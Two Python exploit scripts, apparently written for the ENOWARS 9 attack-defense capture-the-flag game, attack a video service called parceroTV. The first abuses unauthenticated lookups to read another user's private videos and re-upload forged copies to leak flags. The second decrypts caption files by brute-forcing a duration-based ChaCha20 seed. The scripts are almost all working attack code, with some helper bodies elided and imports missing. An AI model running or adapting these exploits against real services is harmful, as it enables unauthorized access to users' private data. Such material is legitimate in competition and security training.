#!/bin/env python3

from pwn import *
import requests
import sys
import json
import string
import random

service_name = 'parceroTV'
ip = sys.argv[1]

alph = string.ascii_uppercase + string.digits

if service_name:
    attacksjson = requests.get(f'https://9.enowars.com/scoreboard/attack.json').json()
    getid = attacksjson['services'][service_name][ip]


def add_metadata(input_path: str,
                 output_path: str,
                 title: str = None,
                 artist: str = None,
                 genre: str = None) -> None:
    cmd = ["ffmpeg", "-i", input_path]

    if title:
        cmd += ["-metadata", f"title={title}"]
    if artist:
        cmd += ["-metadata", f"artist={artist}"]
    if genre:
        cmd += ["-metadata", f"genre={genre}"]

    cmd += ["-c", "copy", output_path]

    subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def brainfuck(input):
    ...
    return output

def attack(fid=None):
    try:
        username_f = fid['0'][0]
        URL = f'http://{ip}:7777'
        assert username_f is not None, "User ID must be set"

        username, password = ''.join(random.choices(alph, k=12)), ''.join(random.choices(alph, k=12))
        s = requests.Session()
        s.headers.update({'User-Agent': 'python-httpx/0.23.3', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'})
        s.get(URL)
        s.post(URL + '/newuser', data={'username': username, 'password': password})
        s.post(URL + '/checkcredentials', data={'username': username, 'password': password})

        userid = s.get(URL + f'/get_user_info_with_name/{username_f}').json()['id']

        video = s.get(URL + f'/get_private_videos/{userid}').json()[0]
        a = f'metadata_{video['name']}_{''.join(random.choices(string.digits, k=4))}.mp4'

        m = [
            video['name'],
            username_f,
            video['location']
        ]

        add_metadata('video.mp4', a, title=m[0], artist=m[1], genre=m[2])

        s.post(URL + '/app/create_video', data={
            'name': video['name'],
            'description': os.urandom(12).hex(),
            'is_private': 1,
            'location': video['location'],
            
        }, files={
            'file': open(a, 'rb'),
            'thumbnail': open('thumbnail.png', 'rb')
        })

        print(f'{a}', flush=True)
        path = '/get_video_info/' + s.get(URL + '/get_my_videos').json()[0]['path']
        print(brainfuck(s.get(URL + path).json()['description']), flush=True)
    except:
        pass

if getid:
    for round in getid:
        attack(getid[round])
else:
    attack()

#!/usr/bin/env python3

import requests, re, sys, random, string
from pathlib import Path
from typing import List, Dict, Set
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend

PER_LETTER = 4096 // 26
alph = string.ascii_uppercase + string.digits


def brainfuck(input):
    ...
    return output

def build_spanish_words(path: str = "spanish_words.txt") -> List[bytes]:
    raw = Path(path).read_bytes()
    all_words = [w.strip() for w in raw.splitlines() if w.strip()]
    
    groups: Dict[bytes, List[bytes]] = {}
    for w in all_words:
        first = w[0:1].lower()
        if b'a' <= first <= b'z':
            groups.setdefault(first, []).append(w)
    
    used: Set[bytes] = set()
    result: List[bytes] = []
    
    for letter_ord in range(ord(b'a'), ord(b'z') + 1):
        letter = bytes([letter_ord])
        bucket = groups.get(letter, [])
        for w in bucket[:PER_LETTER]:
            if w not in used:
                used.add(w)
                result.append(w)
    
    for w in all_words:
        if len(result) >= 4096:
            break
        if w not in used:
            used.add(w)
            result.append(w)
    
    if len(result) != 4096:
        raise ValueError(f"Expected 4096 words, got {len(result)}")
    
    return result


def decrypt_spanish_stream(
    cipher_words: List[bytes],
    duration_secs: float,
    words_file: str = "spanish_words.txt"
) -> str:
    table = build_spanish_words(words_file)
    inv_table = {w: i for i, w in enumerate(table)}

    bit_buf = 0
    bit_count = 0
    cipher_bytes = bytearray()

    for w in cipher_words:
        try:
            idx = inv_table[w]
        except KeyError:
            # Questa situazione non dovrebbe verificarsi con la corretta gestione dei byte
            continue
        if idx >= 4096:
            raise ValueError(f"Word index out of range: {idx}")
        bit_buf = (bit_buf << 12) | idx
        bit_count += 12

        while bit_count >= 8:
            bit_count -= 8
            byte = (bit_buf >> bit_count) & 0xFF
            cipher_bytes.append(byte)


    ms = int(round(duration_secs * 1000.0))
    if ms == 0:
        ms = 1
    seed = ms.to_bytes(8, "little") + b"\x00" * 24

    key = seed
    nonce = b"\x00" * 16
    cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None, backend=default_backend()).encryptor()

    keystream = cipher.update(b"\x00" * len(cipher_bytes) * 8)

    plain_bytes = bytearray()
    for i, cb in enumerate(cipher_bytes):
        kb = keystream[i * 8]
        plain_bytes.append(cb ^ kb)
    
    return plain_bytes.decode("utf-8", errors="ignore")


session = requests.Session()
session.headers.update({'User-Agent': 'python-httpx/0.23.3', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'})

def extract_vtt_text(vtt_content: bytes) -> List[bytes]:
    lines = vtt_content.splitlines()
    text_lines = []
    for line in lines:
        if re.match(br'^\d+$', line):
            continue
        if re.match(br'^\d{2}:\d{2}:\d{2}\.\d{3} --> \d{2}:\d{2}:\d{2}\.\d{3}$', line):
            continue
        if line.strip() == b"":
            continue
        if line.startswith(b'WEBVTT'):
            continue
        text_lines.append(line.strip())
    
    # Unisce tutte le linee di testo e poi le suddivide in parole
    full_text = b' '.join(text_lines)
    return full_text.split()

assert len(sys.argv) == 2
TEAM_IP = sys.argv[1]
service_name = 'parceroTV'

attacksjson = requests.get(f'https://9.enowars.com/scoreboard/attack.json').json()['services'][service_name][TEAM_IP]
URL = f'http://{TEAM_IP}:7777'

for rnd in attacksjson.items():
    vtt_file = rnd[1]['1'][0]
    username, password = ''.join(random.choices(alph, k=12)), ''.join(random.choices(alph, k=12))

    session.get(URL)
    session.post(URL + '/newuser', data={'username': username, 'password': password})
    session.post(URL + '/checkcredentials', data={'username': username, 'password': password})

    r = session.get(URL + '/get_shorts').json()
    c = None
    for i in r:
        if i['name'] == vtt_file:
            c = i['caption_path']
            break
    
    if c:
        vtt_raw = session.get(URL + c).content
        encrypted = extract_vtt_text(vtt_raw)

        durations = [4.6, 2.5]
        for d in durations:
            f = decrypt_spanish_stream(encrypted, d, words_file="spanish_words.txt")
            if f.startswith('@') and f.endswith('@'):
                print(brainfuck(f), flush=True)